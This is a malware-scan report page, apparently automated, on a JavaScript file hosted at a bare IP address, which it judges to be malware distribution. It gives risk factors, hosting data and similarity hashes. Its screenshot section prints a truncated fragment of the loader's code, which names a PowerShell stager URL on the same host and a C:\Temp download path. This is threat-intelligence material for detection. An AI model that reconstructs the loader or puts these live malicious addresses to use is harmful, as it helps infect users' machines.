ScanMalware.com

Security Scan Report: 192.255.195.153

Redirected to:
https://192.255.195.153/97/updateds.js
Response type:JavaScript fileapplication/javascriptHTTP 200The address returns a script file. A browser shows its source code rather than running it.
Site favicon
Submitted: Completed: publiccompleted

Summary

API
This view is built from:
Scan result: counts, verdicts, details, IPs, technologies, hashes/api/v1/result/aac19c70-215d-4b25-9c69-9371539592bdDomain and IP registration (RDAP)/api/v1/rdap/aac19c70-215d-4b25-9c69-9371539592bdHow often this domain was scanned/api/v1/domain/stats/192.255.195.153Scan history for this domain/api/v1/domain/history/192.255.195.153?limit=15
This website contacted 1 IP in 1 country across 1 domain to perform 3 HTTP transactions. The main domain is 192.255.195.153.

Submitted URL: http://192.255.195.153/97/updateds.js

Effective URL:
https://192.255.195.153/97/updateds.js
Redirected

AI Security Verdict

Confirmed Scam

Confidence: 92%

9
Risk Score

A JavaScript loader served from a bare IP that pulls a PowerShell stager (secured_stub.ps1) to C:\Temp — malware distribution infrastructure, corroborated by a HIGH PowerShell-stager IDS alert and a URLhaus malware_download report.

Risk Factors (4)
JavaScript payload retrieves a PowerShell script (secured_stub.ps1) to a local temp directory
PowerShell stager behavior confirmed by HIGH network IDS alert
Hosted on a raw IP address with no domain reputation
Threat-intel indicator classifies this exact URL as malware_download
Domain age information unavailable

Details

Page Title

N/A

Scan Type

public

Domain Name Analysis

The domain name '192.255.195.153' uses an unknown top-level domain while skipping any subdomain. The core label '192.255.195.153' covers 15 characters with 0 vowels and 0 consonants, notching 12 digits. Tokenizing the label suggests four words: 192, 255, 195, 153. Median word length is three characters. No strong language cues emerged from the frequency lists.

Screenshot

(function() { ‘use strict’; // Configuration as a factory function for easy reset function createConfig() { return { url: ‘http://192.255.195.153/97/secured_stub.ps1?XML", tempDir: *C:\\Temp\\", re...

Page Load Overview

0.40s
Total Load Time
34 KB
Total Size

Language Analysis

Primary Language

🇺🇸English
Code: en
Confidence:50%
Script:Latin
Direction:ltr

Detection Details

Text Length:3,720 chars
Detector Agreement:100%

Website Classification

Primary Category

unknown0% confidence
Type: static
Method: structural

All Detected Categories

No categories detected

Detected Features

No structural features detected

Domain & IP Information

RequestsIP AddressLocationAS Autonomous System
3192.255.195.153United States
AS36352HostPapa
31--

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

Security-focused

Specialized for malware detection and similarity analysis

T1CD81529DACEB60548D43727E476FA104E133A443160CDD10BB5CE3909F18A7846FDADA

ssdeep (Context Triggered Piecewise Hashing)

Context-aware

Detects similar content even with modifications

48:XOzcsPpsv3YEAeioxeY5JYOg5vyEmSq14lkEA7BRyQ2k:+psvAeP4wOP5v/mSq1AkEA1RH2k

sdhash (Similarity Digest Hashing)

High-precision

High-precision similarity detection for forensic analysis

sdhash:3:3877:AAAPAEIMAAAI0ABAAJIAjEiQARBAgYABgBEUASEAAAAAAgAGAAoEBAAiEAICgAJABIgBOAIgGgAgFoDgEBAAEKAAgAA0BRiR

These hashes enable detection of similar websites and malware variants by comparing content similarity even when exact matches aren't found.

Image Hashes

Perceptual Hashes

Average Hash:3e3e3e3f3f1f3f3f
Perceptual Hash:87501fe0ffc01fe0
Difference Hash:e0e060c0e0f0e060
Wavelet Hash:1e3e1e3e32121212
Color Hash:07000000000

Other Hashes

Crop Resistant:e0e060c0e0f0e060

Scan History

Scan history not available

Unable to load historical scan data